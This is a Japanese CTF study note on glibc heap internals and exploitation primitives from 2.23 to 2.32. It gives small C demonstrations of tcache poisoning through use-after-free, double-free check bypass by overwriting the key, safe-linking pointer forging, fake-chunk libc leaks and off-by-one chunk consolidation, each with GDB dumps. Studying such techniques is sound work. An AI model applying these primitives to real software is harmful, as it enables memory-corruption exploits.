【CTF】 Heap Exploit Tips
Heap問で個人的にハマったところをまとめました。
環境
glibc 2.31はWSLのUbuntuで動かしました。それ以外はDockerのUbuntuで動かしました。
glibc 2.23 (Ubuntu 16.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23, by Roland McGrath et al.
glibc 2.27 (Ubuntu 18.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
glibc 2.31 (Ubuntu 20.04)
$ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.
glibc 2.32 (Ubuntu 21.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.32-0ubuntu6) stable release version 2.32.
tcache
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); free(a); free(b); }
malloc
してfree
するだけです。GDBで2回free
した後のメモリを見ていきます。
glibc 2.23
(gdb) i proc map (gdb) x/10gx 0x55a81ef6f000 0x55a81ef6f000: 0x0000000000000000 0x0000000000000021 0x55a81ef6f010: 0x0000000000000000 0x0000000000000000 <- a 0x55a81ef6f020: 0x0000000000000000 0x0000000000000021 0x55a81ef6f030: 0x000055a81ef6f000 0x0000000000000000 <- b 0x55a81ef6f040: 0x0000000000000000 0x0000000000020fc1
glibc 2.25以前だと0x80バイト以下の領域を解放するとfastbinという単方向リストに格納されます。2つのチャンクの下にはtopという大きなチャンクがあります。
glibc 2.27
(gdb) i proc map (gdb) x/12gx 0x55f33d01a000 0x55f33d01a000: 0x0000000000000000 0x0000000000000251 0x55f33d01a010: 0x0000000000000002 0x0000000000000000 0x55f33d01a020: 0x0000000000000000 0x0000000000000000 0x55f33d01a030: 0x0000000000000000 0x0000000000000000 0x55f33d01a040: 0x0000000000000000 0x0000000000000000 0x55f33d01a050: 0x000055f33d01a280 0x0000000000000000 (gdb) x/10gx 0x55f33d01a000+0x250 0x55f33d01a250: 0x0000000000000000 0x0000000000000021 0x55f33d01a260: 0x0000000000000000 0x000055f33d01a010 <- a 0x55f33d01a270: 0x0000000000000000 0x0000000000000021 0x55f33d01a280: 0x000055f33d01a260 0x000055f33d01a010 <- b 0x55f33d01a290: 0x0000000000000000 0x0000000000020d71
glibc 2.26以降では0x410バイト以下の領域を解放するとtcacheにという単方向リストに格納されます。tcacheでは、サイズごとのチャンクの個数とリストの末尾を格納する管理領域が確保されます。上の例では0x55f33d01a010からの領域です。bkの位置には何か値が書き込まれています。(後述)
glibc 2.31
gdb-peda$ vmmap gdb-peda$ x/20gx 0x555555559000 0x555555559000: 0x0000000000000000 0x0000000000000291 0x555555559010: 0x0000000000000002 0x0000000000000000 0x555555559020: 0x0000000000000000 0x0000000000000000 0x555555559030: 0x0000000000000000 0x0000000000000000 0x555555559040: 0x0000000000000000 0x0000000000000000 0x555555559050: 0x0000000000000000 0x0000000000000000 0x555555559060: 0x0000000000000000 0x0000000000000000 0x555555559070: 0x0000000000000000 0x0000000000000000 0x555555559080: 0x0000000000000000 0x0000000000000000 0x555555559090: 0x00005555555592c0 0x0000000000000000 gdb-peda$ x/10gx 0x555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000000000000 0x0000555555559010 <- a 0x5555555592b0: 0x0000000000000000 0x0000000000000021 0x5555555592c0: 0x00005555555592a0 0x0000555555559010 <- b 0x5555555592d0: 0x0000000000000000 0x0000000000020d31
glibc 2.30以降では、管理領域が若干大きくなっています。glibc 2.29以降では、bkの位置にkeyとしてtcacheの管理領域のアドレスが書き込まれます。上のglibc 2.27の例でもなぜか書き込まれています。
glibc 2.32
(gdb) x/10gx 0x55a3299f2000+0x290 0x55a3299f2290: 0x0000000000000000 0x0000000000000021 0x55a3299f22a0: 0x000000055a3299f2 0x000055a3299f2010 <- a 0x55a3299f22b0: 0x0000000000000000 0x0000000000000021 0x55a3299f22c0: 0x000055a673adbb52 0x000055a3299f2010 <- b 0x55a3299f22d0: 0x0000000000000000 0x0000000000020d31
glibc 2.32以降では、fd(next)に以下のマクロが適用されます。
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
例えば、b
のfdの値は
(0x55a3299f22c0>>12)^0x55a3299f22a0 = 0x55a673adbb52
となります。
Use After Free
#include<stdio.h> #include<stdlib.h> int main(){ int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); free(a); // Use After Free *(unsigned long *)a = (unsigned long)&k; char *c = (char *)malloc(0x18); char *d = (char *)malloc(0x18); printf("c: %p\n", c); printf("d: %p\n", d); }
free
した領域にk
のアドレスを書き込むことでtcacheのリストを改竄しています。
glibc 2.27
# ./uaf k: 0x7ffe5f5b0fc4 a: 0x56181b62f670 b: 0x56181b62f690 c: 0x56181b62f670 d: 0x7ffe5f5b0fc4
fdを書き換えることでk
の領域を確保しています。
glibc 2.31
$ ./uaf k: 0x7ffc0d8fb1c4 a: 0x557cc0c776b0 b: 0x557cc0c776d0 c: 0x557cc0c776b0 d: 0x557cc0c776f0
k
の領域が確保できてません。glibc 2.29以前では、tcacheの末尾がNULLの場合、tcacheは空だと認識されます。上のglibc 2.27の例では、fdの部分にアドレスを書き込んだため空とは認識されず、同じサイズをmalloc
したときにそのサイズのtcacheから領域が確保されます。glibc 2.30以降では、tcacheのカウンタが0の場合、空だと認識されます。tcacheのカウンタはmalloc
したときに減って、free
したときに増えます。上の例では、c
のmalloc
のときにカウンタが0になるため、d
のmalloc
のときには別のところから領域が確保されます。
Double Free (tcache)
2回同じ領域を解放することでいろいろ悪いことができます。
#include<stdio.h> #include<stdlib.h> int main(){ int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); free(a); free(b); // *(unsigned long *)(b+0x8) = 0xdeadbeef; // keyの書き換え // Double Free free(b); char *c = (char *)malloc(0x18); printf("c: %p\n", c); *(unsigned long *)c = (unsigned long)&k; // *(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降 char *d = (char *)malloc(0x18); char *e = (char *)malloc(0x18); printf("d: %p\n", d); printf("e: %p\n", e); }
2回同じ領域をfree
した後にmalloc
することでtcache内のチャンクを確保しています。確保した領域にk
のアドレスを書き込むことでtcacheのリストを改竄しています。
glibc 2.27
# ./doublefree k: 0x7fff642c50bc a: 0x556f5a3c9670 b: 0x556f5a3c9690 free(): double free detected in tcache 2 Aborted
うまくいくと思ってたのですが、Double Freeが検知されてしまいました。glibc 2.29以前では、tcacheのDouble Freeのチェックがありませんでしたが、最新のUbuntu 18.04のglibc 2.27ではチェックがあるようです。
keyを書き換えることでこのチェックをバイパスできます。下のコードを有効にしてkeyを書き換えてみます。
*(unsigned long *)(b+0x8) = 0xdeadbeef; // keyの書き換え
# ./doublefree k: 0x7ffc294145ec a: 0x561988412670 b: 0x561988412690 c: 0x561988412690 d: 0x561988412690 e: 0x7ffc294145ec
Double Freeが検知されず、k
の領域を確保できました。
glibc 2.31
$ ./doublefree k: 0x7ffd85ebcd8c a: 0x5641e2f1c6b0 b: 0x5641e2f1c6d0 c: 0x5641e2f1c6d0 d: 0x5641e2f1c6d0 e: 0x7ffd85ebcd8c
上と同様にkeyを書き換えてチェックをバイパスしています。
glibc 2.32
glibc 2.32以降では、fdの値にマクロが適用されます。また、tcacheかfastbinからチャンクを確保するときにalignのチェックがあります。下のコードを有効にしてfdを書き換えます。
*(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降
# ./doublefree k: 0x7fff0aab533c a: 0x55cfb76bc6b0 b: 0x55cfb76bc6d0 c: 0x55cfb76bc6d0 d: 0x55cfb76bc6d0 e: 0x7fff0aab5370 Segmentation fault
k
のアドレスはalignされていないので、rbpのアドレスを使いました。最後に落ちていますが深追いしないことにします。
Double Free (fastbin)
上のtcacheのDouble Freeの例ではUAFを使ってkeyを書き換えました。UAFができないときを想定して、fastbinのDouble Freeをやってみます。
#include<stdio.h> #include<stdlib.h> int main(){ char *p[10] = {}; for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18); int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); for(int i=0; i<7; i++) free(p[i]); // tcacheを埋める free(a); free(b); free(a); // Double Free for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18); // tcacheから確保 char *c = (char *)malloc(0x18); // fastbinから確保 printf("c: %p\n", c); *(unsigned long *)c = (unsigned long)&k; char *d = (char *)malloc(0x18); char *e = (char *)malloc(0x18); char *f = (char *)malloc(0x18); printf("d: %p\n", d); printf("e: %p\n", e); printf("f: %p\n", f); }
fastbinを使うため、tcacheを埋めます。fastbinにチャンクを格納するときfastbinの末尾のチャンクと異なるかをチェックします。上の例では、直前に別の領域を解放することでこのチェックをバイパスしています。
glibc 2.23
# ./doublefree k: 0x7fff4816575c a: 0x55d3f6116420 b: 0x55d3f6116440 *** Error in `./doublefree': double free or corruption (fasttop): 0x000055d3f6116440 ***
glibc 2.23には、tcacheがないのでtcacheの処理は必要ないです。うまくいくと思ってたのですが、Double Freeが検知されてしまいました。fastbinに格納するチャンクがあるとDouble Freeが検知されるみたいです。
glibc 2.31
$ ./doublefree k: 0x7fffe586b3b0 a: 0x55bdf61d4790 b: 0x55bdf61d47b0 c: 0x55bdf61d4790 d: 0x55bdf61d47b0 e: 0x55bdf61d4790 f: 0x7fffe586b3b0
Double Freeは検知されず、k
の領域を確保できました。
統合
チャンクが格納されるとき前後の未使用のチャンクが統合されます。
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x418); char *b = (char *)malloc(0x418); char *c = (char *)malloc(0x418); free(b); free(a); free(c); }
glibc 2.31
1回目のfree
の後を見てみます。
gdb-peda$ vmmap gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000421 0x5555555592a0: 0x0000000000000000 0x0000000000000000 <- a gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000000 0x0000000000000421 0x5555555596c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- b gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420 0x555555559ad0: 0x0000000000000420 0x0000000000000420 0x555555559ae0: 0x0000000000000000 0x0000000000000000 <- c gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420 0x555555559ef0: 0x0000000000000000 0x0000000000020111 0x555555559f00: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx 0x00007ffff7fb7be0 0x7ffff7fb7be0 <main_arena+96>: 0x0000555555559ef0
b
はunsorted binに格納されていて、fdとbkはmain_arena+0x60を指しています。c
のprev_sizeにb
のサイズが書き込まれ、PREV_INUSEが0になっていることが確認できます。
2回目のfree
の後を見てみます。
gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000841 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- a gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000000 0x0000000000000421 0x5555555596c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- b gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420 0x555555559ad0: 0x0000000000000840 0x0000000000000420 0x555555559ae0: 0x0000000000000000 0x0000000000000000 <- c gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420 0x555555559ef0: 0x0000000000000000 0x0000000000020111 0x555555559f00: 0x0000000000000000 0x0000000000000000
a
とb
が統合され、0x840のチャンクがunsorted binに格納されています。それに伴いc
のprev_sizeが書き換えられていることが確認できます。
3回目のfree
の後を見てみます。
gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000020d71 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0
c
とc
の上にある0x840のチャンクがtopに統合されます。
切り出し
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x418); char *b = (char *)malloc(0x18); // topと統合しないように free(a); char *c = (char *)malloc(0x18); }
glibc 2.31
free
した後を見てみます。
gdb-peda$ vmmap gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000421 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- a gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000420 0x0000000000000020 0x5555555596c0: 0x0000000000000000 0x0000000000000000 <- b 0x5555555596d0: 0x0000000000000000 0x0000000000020931
a
はunsorted binに格納されています。
malloc
した後を見てみます。
gdb-peda$ x/8gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x00007ffff7fb7fd0 0x00007ffff7fb7fd0 <- c 0x5555555592b0: 0x0000555555559290 0x0000000000000401 0x5555555592c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000400 0x0000000000000020 0x5555555596c0: 0x0000000000000000 0x0000000000000000 <- b 0x5555555596d0: 0x0000000000000000 0x0000000000020931
a
から切り出されています。残りのチャンクはunsorted binに格納されています。
偽装チャンク
偽装チャンクをつくってunsorted binに格納し、main_arenaのアドレスをリークします。
#include<stdio.h> #include<stdlib.h> int main(){ char *a[10] = {}; for(int i=0; i<10; i++) a[i] = (char *)malloc(0x78); *(unsigned long *)(a[0]+0x8) = 0x471; free(a[0]+0x10); printf("main_arena: %p\n", *(void **)(a[0]+0x10)-0x60); }
glibc 2.31
$ ./fakechunk main_arena: 0x7ffff7fb7b80
free
した後のメモリを見てみます。
gdb-peda$ x/6gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000081 0x5555555592a0: 0x0000000000000000 0x0000000000000471 <- a[0] 0x5555555592b0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 gdb-peda$ x/4gx 0x0000555555559000+0x290+0x80*9 0x555555559710: 0x0000000000000470 0x0000000000000080 0x555555559720: 0x0000000000000000 0x0000000000000000 <- a[9]
9個の0x80のチャンクを使って0x470(=0x80*9-0x10)のチャンクをつくっています。a[0]+0x10
を解放することでunsorted binに格納しています。10個目はtopとの統合を防ぐために使っています。
Off By One
1バイトだけ書き換えてmain_arenaのアドレスをリークします。
#include<stdio.h> #include<stdlib.h> int main(){ char *p[20] = {}; for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88); for(int i=0; i<7; i++) p[i+7] = (char *)malloc(0xf8); char *a = (char *)malloc(0x88); char *b = (char *)malloc(0x18); char *c = (char *)malloc(0xf8); p[14] = (char *)malloc(0x18); for(int i=0; i<14; i++) free(p[i]); // tcacheを埋める free(a); // unsorted binに格納される *(unsigned long *)(b+0x10) = 0xb0; // cのprev_size *(char *)(b+0x18) = 0; // cのsizeの下位1バイト free(c); for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88); // tcacheから確保 p[8] = (char *)malloc(0x88); printf("main_arena: %p\n", *(void **)b-0x60); }
glibc 2.27
# ./offbyone main_arena: 0x7fea60f3dc40
free(c)
前のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x0000000000000091 0x55c8083ead50: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- a (gdb) x/8gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90 0x55c8083eadd0: 0x0000000000000090 0x0000000000000020 0x55c8083eade0: 0x0000000000000000 0x0000000000000000 <- b 0x55c8083eadf0: 0x00000000000000b0 0x0000000000000100 0x55c8083eae00: 0x0000000000000000 0x0000000000000000 <- c
a
はunsorted binに格納されています。c
のprev_sizeとPREV_INUSEが書き換えられていることが確認できます。
free(c)
後のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x00000000000001b1 0x55c8083ead50: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- a
PREV_INUSEが0であるため、直前のチャンクと統合されます。c
のprev_sizeは0xb0であるためa
(0x90)とb
(0x20)を合わせた領域が1つのチャンクとみなされてc
と統合されます。
p[8] = (char *)malloc(0x88);
後のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x0000000000000091 0x55c8083ead50: 0x00007fea60f3de40 0x00007fea60f3de40 <- a, p[8] (gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90 0x55c8083eadd0: 0x0000000000000090 0x0000000000000121 0x55c8083eade0: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- b (gdb) x/gx 0x00007fea60f3dca0 0x7fea60f3dca0 <main_arena+96>: 0x000055c8083eaf10
0x1b0のチャンクから切り出されています。残りのチャンクはunsorted binに格納されています。また、残りのチャンクはb
として使えます。
glibc 2.31
$ ./offbyone corrupted size vs. prev_size while consolidating 中止
glibc 2.29以降では、a
のsizeとc
のprev_sizeのチェックがあるのでabortします。
参考
Malleus CTF Pwn
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観 - newbieからバイナリアンへ
https://elixir.bootlin.com/glibc/glibc-2.32/source/malloc/malloc.c